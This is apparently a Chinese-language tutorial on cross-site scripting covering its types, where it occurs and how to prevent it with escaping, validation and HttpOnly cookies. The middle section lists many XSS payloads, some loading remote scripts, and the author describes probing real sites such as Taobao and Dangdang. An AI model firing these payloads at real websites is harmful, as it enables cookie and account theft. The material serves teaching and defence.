簡介
XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意用戶的特殊目的。使用過ASP的同學一定見過這樣的代碼:
<%
Response.Write(Request.Querystring("name"))
%>
假如我傳入的name的值爲:
這樣就可以直接盜取用戶的cookie。所以我就可以發送一條鏈接地址讓別人去點:
當然這樣做沒有一點隱蔽性,雖然前面的xxx.com瞞過了少數人,但大多數人可以辨認出後面的javascript代碼,所以,我只需要將後面的javascript代碼轉換成URL的16進制,如:
上面的URL你還認得嗎?除非你把它轉換出來。(進制轉換可以使用Napkin工具,哎,太壞了。。有人問Napkin的下載地址,貼在這裏好了:http://www.0x90.org/releases/napkin/Napkin-1.0-Windows.zip)
根本原因
2. 沒有嚴格區分“數據”和“代碼”
示例
發現大名鼎鼎的淘寶網也存在這樣的漏洞,我們在搜索框中輸入:
這樣,我們已經修改了淘寶原有的頁面,在下面嵌入了百度的首頁。效果如圖:
使用時機
我嘗試在各種不同網站尋找 XSS漏洞, baidu, amazon.cn, youku.com, dangdang.com等等。結果,我發現XSS漏洞非常普遍!其實XSS利用的是網頁的回顯,即,接收用戶的輸入,然後再在頁面顯示用戶的輸入。總結 一下幾個可能會出現漏洞的地方:
- 搜索引擎
- 留言板
- 錯誤頁面
通過在上面那些類型的頁面輸入一些特殊的字符(包括< > / "),如:</?jjkk>,然後在結果頁中的源碼處搜索是否存在原樣的:</?jjkk>,如果存在,恭喜你,發現了一個XSS漏洞。
分類
1. DOM-based cross-site scripting
頁面本身包含一些DOM對象的操作,如果未對輸入的參數進行處理,可能會導致執行惡意腳本。如下面一些DOM操作:
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
舉個例子,假如某個脆弱的頁面的代碼如下:
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
攻擊者使用如下的URL訪問時,則非常危險:
試了一下,貌似IE、FireFox等瀏覽器默認對<script>alert(document.cookie)</script>進行了編碼,阻止了腳本的執行。但是對於DOM操作還是要更加謹慎啊,比如把上面的頁面修改一下,安全性就增強了不少:
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security error");
}
</SCRIPT>
2. Reflected cross-site scripting
也被稱爲None-Persistent cross-site scripting,即,非持久化的XSS攻擊,是我們通常所說的,也是最常用,使用最廣的一種方式。它通過給別人發送帶有惡意腳本代碼參數的URL,當URL地址被打開時,特有的惡意代碼參數被HTML解析、執行。它的特點是非持久化,必須用戶點擊帶有特定參數的鏈接菜能引起。
3. Persistent cross-site scripting
持久化XSS攻擊,指的是惡意腳本代碼被存儲進被攻擊的數據庫,當其他用戶正常瀏覽網頁時,站點從數據庫中讀取了非法用戶存入非法數據,惡意腳本代碼被執行。這種攻擊類型通常在留言板等地方出現。
實施方式
我們來試一把Reflected cross-site scripting。當我們在某網站輸入參數XXX,發現參數XXX原樣的出現在了頁面源碼中:
OK,可以開始做文章了,我們將XXX替換爲:abc"/><script>alert('haha')</script><a href=",返回的HTML代碼如下:
這樣,<script>alert('haha')</script>被執行了。這裏再舉例一些XSS攻擊行爲:
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);
更加詳細的列表請參見 5
危害
- 盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號、各類管理員帳號
- 控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力
- 盜竊企業重要的具有商業價值的資料
- 非法轉賬
- 強制發送電子郵件
- 網站掛馬
- 控制受害者機器向其它網站發起攻擊
防範
- 必須明確:一切輸入都是有害的,不要信任一切輸入的數據。
- 緩和XSS問題的首要法則是確定哪個輸入是有效的,並且拒絕所有別的無效輸入。
-
替換危險字符,如:"&", "<", ">", ""","'", "/", "?",";", ":", "%", "<SPACE>", "=", "+"。各種語言替換的程度不盡相同,但是基本上能抵禦住一般的XSS攻擊。
-
python的cgi.escape函數:
def escape(s, quote=None):
'''Replace special characters "&", "<" and ">" to HTML-safe sequences.
If the optional flag quote is true, the quotation mark character (")
is also translated.'''
s = s.replace("&", "&") # Must be done first!
s = s.replace("<", "<")
s = s.replace(">", ">")
if quote:
s = s.replace('"', """)
return s -
ASP中的Server.HTMLEncode:
<%= Server.HTMLEncode("The paragraph tag: <P>") %> -
ASP.NET的Server.HtmlEncode及Server.UrlEncode:
String TestString = "This is a <Test String>.";
String EncodedString = Server.HtmlEncode(TestString);
Server.UrlEncode(Request.Url.ToString()); -
PHP的htmlspecialchars方法:
<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // <a href='test'>Test</a>
?> -
JAVA中的java.net.URLEncode.encode:
String mytext = java.net.URLEncoder.encode("中國", "utf-8");
-
- 有些網站使用過濾javascript關鍵字的辦法來防止XSS,其實是很不明智的,因爲XSS有時候根本就不需要javascript關鍵字或者對javascript關鍵字進行格式變化來躲過過濾。
-
爲所有的標記屬性加上雙引號。應該說這也不是萬全之策,只是在轉義了雙引號的前提下的一道安全保障。比如:
不加雙引號時,onclick被執行了:<a href=http://www.xxx.com/detail.asp?id=2008 οnclick='javascrpt:alert('haha')'>加上了雙引號,onclick不會被執行:<a href="http://www.xxx.com/detail.asp?id=2008 οnclick='javascrpt:alert('haha')'"> -
將數據插入到innerText屬性中,腳本將不會被執行。如果是innerHTML屬性,則必須確保輸入是安全的。如ASP.NET中:
<%@ Page Language="C#" AutoEventWireup="true"%>
<html>
<body>
<span id="Welcome1" runat="server"> </span>
<span id="Welcome2" runat="server"> </span>
</body>
</html>
<script runat="server">
private void Page_Load(Object Src, EventArgs e)
{
// Using InnerText renders the content safe–no need to HtmlEncode
Welcome1.InnerText = "haha";
// Using InnerHtml requires the use of HtmlEncode to make it safe
Welcome2.InnerHtml = "Hello, " + Server.HtmlEncode("haha");
}
</Script> -
使用IE6.0SP1的cookie選項HttpOnly,注意,HttpOnly只能阻止惡意腳本讀取cookie,並不能阻止XSS攻擊。比如在ASP.NET中:
HttpCookie cookie = new HttpCookie("Name", "ZhangChangrong");
cookie.Path = "/; HttpOnly";
Response.Cookies.Add(cookie); -
使用IE的<IFrame>的Security屬性,設置爲restricted後,frame中的腳本將不能執行(僅限於IE)。如:
<iframe security="restricted" src="http://www.somesite.com/somepage.htm"></frame> -
ASP.NET中的ValidateRequest配置選項。默認情況下,這個功能是開啓的,這個功能將會檢查用戶是否試圖在cookie、查詢字符串以及HTML表格中設置HTML或腳本。如果請求包含這種潛在的危險輸入,就會拋出一個HttpRequestValidationException異常。我在嘗試試探噹噹網的XSS漏洞時發現這個異常信息,可以說噹噹網使用了ValidateRequest這個選項,或者從另一方面說,也許是無意中啓用了這一選項,同時,將錯誤信息拋出給用戶是非常不安全的。
-
給一個頁面設置ValidateRequest選項:
<%@ Page Language="C#" ValidateRequest="false" %> -
在Machine.config中設置全局ValidateRequest選項,注意,如果在Web.config中重新設置,不會覆蓋Machine.config中的這一設置:
<system.web>
<pages buffer="true" validateRequest="true" />
</system.web> -
讓我們來目睹噹噹網給我們帶來的這一盛況:
-
- 在一些必須使用到HTML標籤的地方,比如公告欄,可以使用其他格式的標示代替,比如論壇中廣泛使用的BBCode,用[i]...["i]來表示斜體。
-
然而,對於一些允許用戶輸入特定HTML的地方,強烈建議使用正則表達式進行匹配。比如:
if (/^(?:["s"w"?"!","."'""]*|(?:"<"/"?(?:i|b|p|br|em|pre)">))*$/i)
{
#Cool, it's valid input
}